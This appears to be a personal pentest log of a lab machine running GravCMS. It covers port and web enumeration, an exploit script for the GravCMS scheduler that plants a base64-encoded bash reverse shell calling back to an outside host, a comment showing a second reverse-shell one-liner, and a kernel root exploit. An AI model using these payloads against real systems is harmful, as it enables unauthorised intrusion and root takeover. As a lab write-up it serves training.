🧪 Pentest Log: {{date:2025-08-31}}

🔍 Target Information

• Machine Name: Crash
• IP Address: 10.11.1.63
• Operating System: Linux

ip=10.11.1.63

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 21

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

wpscan --url http://$ip

GravCMS

Google for exploit, found

https://www.exploit-db.com/exploits/49973

💣 Exploitation

📌 Vulnerability Summary

• Service / Port: 80
• Vulnerability Type: Arbitrary YAML Write/Update

🚀 Exploit Execution

🔧 Exploit Method

• Manual
• Public Exploit
• Custom Script

Tool / Script Used:

import requests
import sys
import re
import base64
target= "http://10.11.1.63"
#Change base64 encoded value with with below command.
#echo -ne "bash -i >& /dev/tcp/192.168.1.3/4444 0>&1" | base64 -w0
payload=b"""/*<?php /**/
file_put_contents('/tmp/rev.sh',base64_decode('YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS40LzgwIDA+JjE='));chmod('/tmp/rev.sh',0755);system('bash /tmp/rev.sh');
"""
s = requests.Session()
r = s.get(target+"/admin")
adminNonce = re.search(r'admin-nonce" value="(.*)"',r.text).group(1)
if adminNonce != "" :
    url = target + "/admin/tools/scheduler"
    data = "admin-nonce="+adminNonce
    data +='&task=SaveDefault&data%5bcustom_jobs%5d%5bncefs%5d%5bcommand%5d=/usr/bin/php&data%5bcustom_jobs%5d%5bncefs%5d%5bargs%5d=-r%20eval%28base64_decode%28%22'+base64.b64encode(payload).decode('utf-8')+'%22%29%29%3b&data%5bcustom_jobs%5d%5bncefs%5d%5bat%5d=%2a%20%2a%20%2a%20%2a%20%2a&data%5bcustom_jobs%5d%5bncefs%5d%5boutput%5d=&data%5bstatus%5d%5bncefs%5d=enabled&data%5bcustom_jobs%5d%5bncefs%5d%5boutput_mode%5d=append'
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = s.post(target+"/admin/config/scheduler",data=data,headers=headers)

python3 /home/kali/Documents/Shell\ Handler/penelope/penelope.py -p 80

python3 49973.py

🧬 Privilege Escalation

👤 Current Access

• User: webuser
• Groups: 1001(webuser)
• Shell Type: web web shell

🔍 Enumeration

Kernel Check:

uname -a

Found

Linux crash 4.15.0-29-generic #31-Ubuntu

Google for exploit

https://www.exploit-db.com/exploits/47167

🔓 Privilege Escalation Exploit

📌 Exploit Summary

• Technique Used: Kernel Exploit
• Target Binary/Service: N/A
• Reference / Source: N/A

🔧 Exploit Steps

• Setup

git clone https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955

chmod +x exploit.ldpreload.sh

• Smash to root

./exploit.ldpreload.sh

• Key File

f0avo5t53k9nnfg566zj